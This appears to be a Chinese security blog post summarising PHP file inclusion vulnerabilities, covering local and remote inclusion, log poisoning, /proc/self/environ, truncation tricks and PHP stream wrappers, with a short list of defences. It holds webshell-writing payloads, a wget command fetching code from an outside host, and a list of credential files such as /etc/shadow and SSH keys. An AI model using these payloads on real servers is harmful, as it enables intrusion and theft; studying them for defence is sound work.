文件包含漏洞总结

前言

主要有远程文件包含与本地文件包含。

php文件包含漏洞

可导致文件包含的函数:

include() #无论被包含的文件是什么,都会把被包含的文件内容当php代码执行。
include_once() #同include(),区别是如果文件已被包含则不会被二次包含。
require() #include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
require_once() # 同上

1.本地文件包含

包含一个本地计算机上的文件,并将被包含文件的内容当作php代码执行。

利用点:
1.读取本地的敏感文件。
2.配合文件上传获取webshell:
上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

敏感文件位置:

1、Windows:


  C:boot.ini  //查看系统版本
  C:WindowsSystem32inetsrvMetaBase.xml  //IIS配置文件
  C:Windowsrepairsam  //存储系统初次安装的密码
  C:Program Filesmysqlmy.ini  //Mysql配置
  C:Program Filesmysqldatamysqluser.MYD  //Mysql root
  C:Windowsphp.ini  //php配置信息
  C:Windowsmy.ini  //Mysql配置信息
  ...
2、Linux:

  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_ras.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httpd/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd/fd[0-9]*(文件标识符)
  /proc/mounts
  /porc/config.gz

2.远程文件包含

包含一个远程计算机上的文件,并将被包含文件的内容当作php代码执行。条件是php必须开启allow_url_fopen

利用点:
在远程主机上创建文件,内容如下,拿webshell:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php,内容为<?php eval($_POST[pwd]);?>

3.本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

4.利用/proc/self/environ进行包含

找到/proc/self/environ的绝对路径并访问,如果找到后,那我们就可以通过修改user-agent来进行php代码命令执行。

假设我们找到了绝对路径:

www.test.com/index.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下(选择一条去写):

<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>

5. 截断包含

1.使用%00截断(php<5.3.4)

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?php
    Include  $_GET['page'].".php"
?>

创建恶意文件,命名为1.jpg,我们如果访问www.test.com/1.jpg,其实访问的是1.jpg.php,然而并没有这个文件,这时候我们使用www.test.com/1.jpg%00即可截断后面的.php,从而执行了我们的恶意代码。

2.使用长目录截断(php<5.2.8)

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

6. 利用php协议进行包含

data:  php5.2以后版本
php://input
需要开启allow_url_include
poc:

http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

特殊姿势:利用phar伪协议

1.先上传一个php文件,内容如下:

<?php
include 'phar://test.zip/test.txt';
?>

2.创建一个txt文件并打包成,命名为test.zip,txt内容为webshell:

<?php eval($_POST[pwd]);?>

3.链接webshell即可上线。


include.php代码:

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

创建一个1.jpg内容为:

<?php
phpinfo();
?>

使用zip命令压缩1.jpg:

zip 1.zip 1.jpg

通过phar协议进行文件包含:
在这里插入图片描述

防御

1、无需情况下设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。

9、禁用不必要的php伪协议

参考文章

文件包含漏洞(绕过姿势)
常见文件包含发生场景与防御

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值